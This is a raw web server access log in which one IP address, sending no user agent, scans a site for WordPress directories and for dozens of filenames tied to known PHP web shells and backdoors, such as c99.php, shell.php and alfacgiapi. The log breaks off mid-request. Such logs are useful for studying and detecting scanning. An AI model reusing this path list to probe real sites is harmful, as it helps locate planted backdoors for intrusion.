"-" "-" 52.164.243.121 - - [21/Apr/2025:06:49:37 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:49:41 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:49:43 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:49:45 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:49:48 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:49:51 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:49:54 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:49:58 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:50:04 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:50:10 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:50:18 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:50:27 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:50:31 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:50:35 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:50:40 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:50:45 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:50:49 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:50:50 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:50:52 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:50:57 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:51:01 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:51:05 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:51:08 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:51:11 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:51:16 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:51:18 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:51:20 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:51:23 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:51:27 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:51:30 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:51:35 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:51:39 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:51:43 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:51:47 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:51:51 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:51:56 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:51:59 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:52:06 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:52:08 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:52:10 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:52:12 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:52:16 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:52:19 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:52:22 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:52:26 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:52:30 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:52:33 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:52:36 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:52:39 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:52:42 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:52:44 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:52:47 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:52:53 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:52:59 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:53:05 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:53:12 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:53:20 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:53:26 -0400] "GET /wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:53:36 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:53:44 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:53:51 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:53:59 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:54:12 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:54:21 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:54:30 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:54:36 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:54:41 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:54:46 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:54:51 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:54:55 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:55:01 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:55:11 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:55:21 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:55:26 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:55:31 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:55:35 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:55:38 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:55:43 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:55:47 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:55:51 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:55:54 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:55:58 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:56:02 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:56:08 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:56:14 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:56:19 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:56:24 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:56:30 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:56:34 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:56:38 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:56:44 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:56:46 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:56:49 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:56:54 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:56:56 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:57:00 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:57:05 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:57:09 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:57:15 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:57:21 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:57:25 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:57:32 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:57:39 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:57:45 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:57:50 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:57:56 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:57:59 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:58:05 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:58:09 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:58:14 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:58:22 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:58:27 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:58:34 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:58:39 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:58:45 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:58:50 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:58:58 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:59:04 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:59:11 -0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:59:16 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:59:20 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:59:26 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:59:31 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:59:35 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:59:40 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:59:47 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:06:59:56 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:00:07 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:00:17 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:00:28 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:00:38 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:00:46 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:00:52 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:00:58 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:01:03 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:01:08 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:01:12 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:01:17 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:01:23 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:01:25 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:01:28 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:01:30 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:01:34 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:01:37 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:01:39 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:01:43 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:01:46 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:01:52 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:01:56 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:02:00 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:02:05 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:02:10 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:02:14 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:02:18 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:02:22 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:02:26 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:02:30 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:02:34 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:02:38 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:02:40 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:02:42 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:02:43 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:02:48 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:02:52 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:02:56 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:00 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:03 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:06 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:10 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:14 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:17 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:22 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:27 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:30 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:35 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:37 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:38 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:41 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:42 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:44 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:46 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:48 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:49 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 49.51.195.195 - - [21/Apr/2025:07:03:50 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.164.243.121 - - [21/Apr/2025:07:03:51 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:53 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:55 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:03:58 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:04:02 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:04:07 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:04:11 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:04:13 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:04:16 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:04:21 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:04:25 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:04:29 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:04:32 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:04:36 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:04:39 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:04:42 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:04:46 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:04:49 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:04:54 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:05:00 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:05:05 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:05:15 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:05:21 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:05:27 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:05:32 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:05:37 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:05:41 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:05:47 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:05:53 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:05:56 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:06:00 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:06:05 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:06:10 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:06:15 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:06:22 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:06:26 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.164.243.121 - - [21/Apr/2025:07:06:30 -0400] "GET 